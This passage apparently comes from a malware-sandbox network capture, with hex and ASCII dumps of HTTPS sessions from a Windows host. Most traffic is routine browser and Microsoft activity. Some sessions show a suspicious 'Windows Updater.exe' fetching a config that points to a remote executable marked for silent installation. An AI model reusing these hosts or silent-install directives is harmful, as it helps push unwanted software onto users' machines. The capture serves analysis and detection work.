2023-12-06 13:33:20 UTC	732	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 73 63 72 69 70 74 2d 73 72 63 20 27 72 65 70 6f 72 74 2d 73 61 6d 70 6c 65 27 20 27 6e 6f 6e 63 65 2d 71 67 79 74 36 73 4d 31 30 36 42 67 45 58 59 38 41 77 55 31 71 77 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 73 74 72 69 63 74 2d 64 79 6e 61 6d 69 63 27 20 68 74 74 70 73 3a 20 68 74 74 70 3a 3b 6f 62 6a 65 63 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 72 65 70 6f 72 74 2d 75 72 69 20 68 74 74 70 73 3a 2f 2f 63 73 70 2e 77 69 74 68 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 63 73 70 2f 63 6c 69 65 6e 74 75 70 64 61 74 65 2d 61 75 73 2f 31 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c Data Ascii: HTTP/1.1 200 OKContent-Security-Policy: script-src 'report-sample' 'nonce-qgyt6sM106BgEXY8AwU1qw' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1Cache-Control
2023-12-06 13:33:20 UTC	520	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 31 38 33 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 32 30 30 30 30 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6183" elapsed_seconds="20000"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2023-12-06 13:33:20 UTC	200	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2023-12-06 13:33:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49814	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:26 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2023-12-06 13:33:26 UTC	435	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 41 70 69 56 65 72 73 69 6f 6e 3a 20 44 69 73 74 72 69 62 75 74 65 20 31 2e 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 63 6f 6e 66 69 67 2e 6a 73 6f 6e 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 55 54 46 2d 38 27 27 63 6f 6e 66 69 67 2e 6a 73 6f 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 45 54 61 67 3a 20 22 30 78 36 34 36 36 37 46 37 30 37 46 46 30 37 44 36 32 42 37 33 33 44 42 43 42 37 39 45 46 45 33 38 35 35 45 36 38 38 36 43 39 39 37 35 42 30 43 30 42 34 36 37 44 34 36 32 33 31 42 33 46 41 35 45 37 22 0d 0a 4c 61 73 74 2d 4d 6f 64 69 Data Ascii: HTTP/1.1 200 OKApiVersion: Distribute 1.1Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.jsonContent-Type: application/octet-streamETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"Last-Modi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49844	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:26 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2023-12-06 13:33:27 UTC	773	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 31 36 20 4d 61 79 20 32 30 31 37 20 32 32 3a 35 38 3a 30 30 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 30 78 36 34 36 36 37 46 37 30 37 46 46 30 37 44 36 32 42 37 33 33 44 42 43 42 37 39 45 46 45 33 38 35 35 45 36 38 38 36 43 39 39 37 35 42 30 43 30 42 34 36 37 44 34 36 32 33 31 42 33 46 41 35 45 37 22 0d 0a 41 70 69 56 65 72 73 69 6f 6e 3a 20 44 69 73 74 72 69 62 75 74 65 20 31 2e 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 63 6f 6e 66 69 67 2e 6a 73 6f 6e 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 55 54 46 2d 38 27 27 63 6f 6e 66 69 67 2e 6a 73 6f 6e 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKLast-Modified: Tue, 16 May 2017 22:58:00 GMTETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"ApiVersion: Distribute 1.1Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.jsonX-C
2023-12-06 13:33:27 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49867	13.107.246.40	443	2972	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:27 UTC	633	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_PukjvzWvVsvIJFh4xJhtXA2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-12-06 13:33:28 UTC	765	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 32 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 38 37 34 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 33 31 20 4f 63 74 20 32 30 32 33 20 32 31 3a 32 32 3a 34 37 20 47 4d 54 0d 0a 45 54 61 67 3a 20 30 78 Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:33:27 GMTContent-Type: application/x-javascriptContent-Length: 48749Connection: closeCache-Control: public, max-age=31536000Content-Encoding: gzipLast-Modified: Tue, 31 Oct 2023 21:22:47 GMTETag: 0x
2023-12-06 13:33:28 UTC	15619	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bc bd 7b 5f e3 38 d2 30 fa ff f3 29 82 77 0f 63 4f 4c c8 05 68 70 70 e7 4d 03 dd cd 0c b7 21 61 7a 66 69 96 9f 93 28 e0 ee c4 ce da 0e 34 03 79 3f fb a9 8b 64 cb 8e 43 f7 ec 73 7e 67 2e c1 96 4a b2 54 aa 2a 55 95 4a d2 e6 cf 6b ff 53 f9 b9 b2 f1 e3 ff 54 7a fd ee 65 bf 72 fe be d2 ff 78 7c 79 58 b9 80 b7 3f 2b 67 e7 fd e3 83 a3 1f af 07 3f 8a ff f7 ef fd b8 32 f6 27 a2 02 7f 07 5e 2c 46 95 30 a8 84 51 c5 0f 86 61 34 0b 23 2f 11 71 65 0a bf 91 ef 4d 2a e3 28 9c 56 92 7b 51 99 45 e1 17 31 4c e2 ca c4 8f 13 28 34 10 93 f0 b1 62 42 75 d1 a8 72 e1 45 c9 53 e5 f8 c2 aa 41 fd 02 6a f3 ef fc 00 4a 0f c3 d9 13 3c df 27 95 20 4c fc a1 a8 78 c1 88 6a 9b c0 4b 10 8b ca 3c 18 89 a8 f2 78 ef 0f ef 2b a7 fe 30 0a e3 70 9c 54 22 31 14 fe 03 Data Ascii: {_80)wcOLhppM!azfi(4y?dCs~g.JTUJkSTzerx\|yX?+g?2'^,F0Qa4#/qeM(V{QE1L(4bBurESAjJ<' LxjK<x+0pT"1
2023-12-06 13:33:28 UTC	16384	IN	Data Raw: 21 ab e7 03 d0 f9 c8 ad a5 91 e0 e2 50 20 c6 c3 b8 1c 50 c3 fc c2 01 5d 35 ed 7c 2e ac 15 5b d1 f6 94 dc 4e 61 f1 5c be a5 34 ba ec a7 24 1d a8 d6 7d 0e a5 78 0e ed 87 fc 89 f2 d9 69 d9 8b 05 df 1f 83 07 78 e1 b5 24 5c 0f 39 03 be c9 db 3b ca 30 06 53 71 08 2a 0a 08 65 fc 43 07 9d e3 83 e5 78 ae 87 4d 5a b4 57 56 17 bb 05 5d 43 b8 d7 37 e9 99 9e 35 79 7a a1 ba bd 28 2c 5e 42 45 17 b7 d1 41 b5 da 84 14 d8 43 fe 84 93 2c e8 3a 2a 2f 85 f2 e8 6e 2a 98 1a 68 c9 41 44 8a ed 07 c0 84 0f a8 c0 2d 8b 2e 79 9f 0e 5d b9 a4 30 ab c3 97 25 be bc 5c df d8 65 19 b2 ad 6a 28 12 39 14 a0 3c 63 ab f8 5c d3 ef 62 5d 74 10 bb e9 4d 43 f8 e2 30 f5 61 25 3f 20 04 f3 73 04 76 ad f6 f0 1a 7c f0 9d d3 f9 89 0f b6 58 a5 6e 6c b1 4e dd d8 b5 da 21 8b ca 34 c4 29 06 41 6a fb b5 79 Data Ascii: !P P]5\|.[Na\4$}xix$\9;0SqeCxMZWV]C75yz(,^BEAC,:/n*hAD-.y]0%\ej(9<c\b]tMC0a%? sv\|XnlN!4)Ajy
2023-12-06 13:33:28 UTC	16384	IN	Data Raw: 3f aa 61 74 b7 30 29 bd fc 8f f1 93 14 f9 93 cd 07 36 68 b9 db a4 2e 3a 74 a5 cd 56 de f9 99 1a 20 1c 79 93 8a 50 08 02 87 5b e0 0c 1c 14 b5 9b 3d 7d 70 db 27 bc b6 64 23 36 43 e0 81 cc ac 91 5b 43 1e 0a da 4b 05 22 bb 21 38 91 79 b9 84 fa 51 a1 05 f5 e2 c1 b0 f6 15 9b a9 f4 fc d9 fd fb 33 06 b0 58 85 65 38 0b 4d a4 4f 49 72 10 c2 b8 15 53 d0 0d 57 a9 7d 40 54 a4 89 6f 39 0f b2 c6 29 ef 78 0a a0 cd b1 32 83 02 d8 70 dc 77 d4 c7 93 22 8c 03 45 cf e6 6e 3c c2 c2 f2 8c f9 34 1e c9 0a 23 f2 d5 0e a2 7a 9d d7 eb 72 80 b7 06 06 5c 42 81 f5 ce b5 fb 4c 06 c0 9d 65 b8 0a 87 c3 64 ac f6 55 13 75 8c 77 d2 8a f6 e1 92 7f 01 0e 6b 27 69 87 34 cb 01 38 b3 39 ec 82 38 6c fa da 4e 9b 1f 50 6a de cc 48 89 5b b9 63 c5 a6 b3 32 97 44 01 23 7b d1 f1 1e 2a 19 8a 47 1b 4e e4 Data Ascii: ?at0)6h.:tV yP[=}p'd#6C[CK"!8yQ3Xe8MOIrSW}@To9)x2pw"En<4#zr\BLedUuwk'i4898lNPjH[c2D#{*GN
2023-12-06 13:33:28 UTC	362	IN	Data Raw: 6b 19 3a 2a 2c 92 87 be 77 e6 90 99 62 e2 96 2d 1e 2a 29 4a f1 36 6f 79 28 23 20 5f 47 2e b4 bb 52 b8 6b ed 83 1e c4 49 87 62 d1 57 6b 07 b8 21 1c e0 06 3c 2b 01 bd 27 3e be 92 3a 97 96 f8 a3 ef f6 bc f1 96 8d fa a5 e1 70 de 3f 33 0b 5d ab 96 ef ec 7d a3 eb d8 68 78 29 1e e0 35 cc 4f 93 2e cc 64 1d d1 2a 52 a6 bb af 0d 5f aa d9 14 4e a9 3b ab 03 65 1c 06 e8 f1 ff 58 04 1d 57 a2 0a 0e 56 1c 1b 80 57 1d 24 ad ee 62 23 d4 24 fa c1 13 a8 fe 07 16 46 55 28 e1 a6 9c 41 20 74 e6 fb ce 00 40 e8 33 ad d1 71 f2 f9 dc 51 3c 6c 28 96 a7 01 d8 b7 5d 40 6a 84 ce c7 6c 40 ff ab a1 d3 83 81 15 47 ee ab a7 55 55 20 1d 81 20 83 07 03 15 d8 3c d8 38 3f 7e cc a4 c8 c7 cf 8f 67 3b bb bb 83 8b 7c a0 f2 37 4b 31 89 12 1f ec ee 52 81 44 8a 3e 61 f0 6d c9 6f a4 91 b6 ed 16 e9 af Data Ascii: k:,wb-)J6oy(# _G.RkIbWk!<+'>:p?3]}hx)5O.d*R_N;eXWVW$b#$FU(A t@3qQ<l(]@jl@GUU <8?~g;\|7K1RD>amo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50127	54.165.38.232	443	6972	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:41 UTC	241	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 165 Cache-Control: no-cache
2023-12-06 13:33:41 UTC	165	OUT	Data Raw: 71 74 3d 36 38 32 34 38 31 32 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 62 65 63 37 39 35 31 35 63 31 65 63 35 32 35 66 38 38 35 38 62 66 26 61 76 3d 31 2e 30 2e 30 26 63 69 64 3d 35 37 46 31 41 42 38 39 32 39 46 45 37 32 42 39 45 44 37 39 46 34 35 39 30 43 39 38 42 32 37 44 34 43 30 36 46 42 38 44 26 73 69 64 3d 25 37 42 31 32 37 33 39 33 44 45 2d 39 39 37 42 2d 34 46 45 42 2d 41 37 32 31 2d 43 44 36 30 46 35 35 32 31 32 37 33 25 37 44 Data Ascii: qt=6824812&t=lifecycle&lc=start&v=3&aid=57bec79515c1ec525f8858bf&av=1.0.0&cid=57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D&sid=%7B127393DE-997B-4FEB-A721-CD60F5521273%7D
2023-12-06 13:33:42 UTC	638	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 3d 22 73 65 74 2d 63 6f 6f 6b 69 65 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 34 32 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 57 53 45 4c 42 3d 32 39 33 39 39 33 36 46 31 30 32 37 30 44 31 43 43 39 38 32 31 39 36 34 39 39 31 34 30 33 44 38 45 42 33 36 33 44 36 33 44 45 Data Ascii: HTTP/1.1 402 Payment RequiredCache-control: no-cache="set-cookie"Content-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:33:42 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"Set-Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DE
2023-12-06 13:33:42 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50128	104.21.74.109	443	5572	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:42 UTC	147	OUT	GET /updates.txt HTTP/1.1 Accept: / User-Agent: AdvancedInstaller Host: allroadslimit.com Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:33:42 UTC	651	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 32 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 31 31 20 4d 61 79 20 32 30 32 32 20 30 34 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 32 37 62 34 32 62 35 2d 33 39 38 22 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:33:42 GMTContent-Type: text/plainContent-Length: 920Connection: closeLast-Modified: Wed, 11 May 2022 04:59:33 GMTETag: "627b42b5-398"Accept-Ranges: bytesCF-Cache-Status: DYNAMICReport-To: {"endpoi
2023-12-06 13:33:42 UTC	718	IN	Data Raw: 3b 61 69 75 3b 0a 0a 5b 76 31 31 34 5d 0a 4e 61 6d 65 20 3d 20 57 69 6e 64 6f 77 73 20 49 6e 73 74 61 6c 6c 65 72 0a 4e 6f 47 55 49 43 6f 6d 6d 61 6e 64 4c 69 6e 65 53 77 69 74 63 68 20 3d 20 2f 65 78 65 6e 6f 75 69 20 2f 71 6e 0a 50 72 6f 64 75 63 74 56 65 72 73 69 6f 6e 20 3d 20 35 2e 30 2e 34 2e 30 0a 55 52 4c 20 3d 20 68 74 74 70 73 3a 2f 2f 64 6c 2e 6c 69 6b 65 61 73 75 72 66 65 72 2e 63 6f 6d 2f 75 70 64 61 74 65 73 2f 76 31 31 34 2e 65 78 65 0a 53 69 7a 65 20 3d 20 34 39 30 30 36 38 30 0a 53 48 41 32 35 36 20 3d 20 42 30 45 30 41 43 38 33 44 35 30 39 30 43 33 35 39 46 38 34 41 46 31 36 30 41 45 42 41 39 42 42 37 33 31 37 44 36 44 36 34 33 37 32 45 34 44 45 45 39 38 30 43 37 44 43 32 33 46 45 46 45 34 31 0a 4d 44 35 20 3d 20 35 64 63 36 34 34 65 30 Data Ascii: ;aiu;[v114]Name = Windows InstallerNoGUICommandLineSwitch = /exenoui /qnProductVersion = 5.0.4.0URL = https://dl.likeasurfer.com/updates/v114.exeSize = 4900680SHA256 = B0E0AC83D5090C359F84AF160AEBA9BB7317D6D64372E4DEE980C7DC23FEFE41MD5 = 5dc644e0
2023-12-06 13:33:42 UTC	202	IN	Data Raw: 31 31 33 2e 65 78 65 0a 46 6c 61 67 73 20 3d 20 53 69 6c 65 6e 74 49 6e 73 74 61 6c 6c 7c 4e 6f 43 61 63 68 65 7c 41 64 76 65 72 74 69 73 65 73 0a 52 65 67 69 73 74 72 79 4b 65 79 20 3d 20 48 4b 55 44 5c 53 6f 66 74 77 61 72 65 5c 41 64 76 61 6e 63 65 64 57 69 6e 64 6f 77 73 4d 61 6e 61 67 65 72 5c 57 69 6e 64 6f 77 73 20 49 6e 73 74 61 6c 6c 65 72 5c 56 65 72 73 69 6f 6e 0a 56 65 72 73 69 6f 6e 20 3d 20 35 2e 30 2e 33 2e 30 0a 41 75 74 6f 43 6c 6f 73 65 41 70 70 6c 69 63 61 74 69 6f 6e 20 3d 20 5b 41 50 50 44 49 52 5d 41 64 76 61 6e 63 65 64 57 69 6e 64 6f 77 73 4d 61 6e 61 67 65 72 2e 65 78 65 0a Data Ascii: 113.exeFlags = SilentInstall\|NoCache\|AdvertisesRegistryKey = HKUD\Software\AdvancedWindowsManager\Windows Installer\VersionVersion = 5.0.3.0AutoCloseApplication = [APPDIR]AdvancedWindowsManager.exe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50129	54.165.38.232	443	6972	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:42 UTC	547	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 165 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DE10DBFD7E5D4AE6378040B3BE1E956BB85D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E; AWSELBCORS=2939936F10270D1CC9821964991403D8EB363D63DE10DBFD7E5D4AE6378040B3BE1E956BB85D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E
2023-12-06 13:33:42 UTC	165	OUT	Data Raw: 71 74 3d 36 38 32 35 37 35 30 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 62 65 63 37 39 35 31 35 63 31 65 63 35 32 35 66 38 38 35 38 62 66 26 61 76 3d 31 2e 30 2e 30 26 63 69 64 3d 35 37 46 31 41 42 38 39 32 39 46 45 37 32 42 39 45 44 37 39 46 34 35 39 30 43 39 38 42 32 37 44 34 43 30 36 46 42 38 44 26 73 69 64 3d 25 37 42 42 31 38 31 34 46 31 43 2d 35 42 42 41 2d 34 32 38 44 2d 42 43 41 45 2d 42 36 43 43 41 33 32 45 35 45 34 41 25 37 44 Data Ascii: qt=6825750&t=lifecycle&lc=start&v=3&aid=57bec79515c1ec525f8858bf&av=1.0.0&cid=57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D&sid=%7BB1814F1C-5BBA-428D-BCAE-B6CCA32E5E4A%7D
2023-12-06 13:33:42 UTC	219	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 34 32 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 402 Payment RequiredContent-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:33:42 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"X-Powered-By: ExpressContent-Length: 2Connection: Close
2023-12-06 13:33:42 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50131	54.165.38.232	443	7588	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:43 UTC	547	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 174 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DE10DBFD7E5D4AE6378040B3BE1E956BB85D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E; AWSELBCORS=2939936F10270D1CC9821964991403D8EB363D63DE10DBFD7E5D4AE6378040B3BE1E956BB85D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E
2023-12-06 13:33:43 UTC	174	OUT	Data Raw: 71 74 3d 36 38 32 36 33 39 30 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 65 6e 64 26 6c 73 3d 73 75 63 63 65 73 73 26 76 3d 33 26 61 69 64 3d 35 37 62 65 63 37 39 35 31 35 63 31 65 63 35 32 35 66 38 38 35 38 62 66 26 61 76 3d 31 2e 30 2e 30 26 63 69 64 3d 35 37 46 31 41 42 38 39 32 39 46 45 37 32 42 39 45 44 37 39 46 34 35 39 30 43 39 38 42 32 37 44 34 43 30 36 46 42 38 44 26 73 69 64 3d 25 37 42 31 32 37 33 39 33 44 45 2d 39 39 37 42 2d 34 46 45 42 2d 41 37 32 31 2d 43 44 36 30 46 35 35 32 31 32 37 33 25 37 44 Data Ascii: 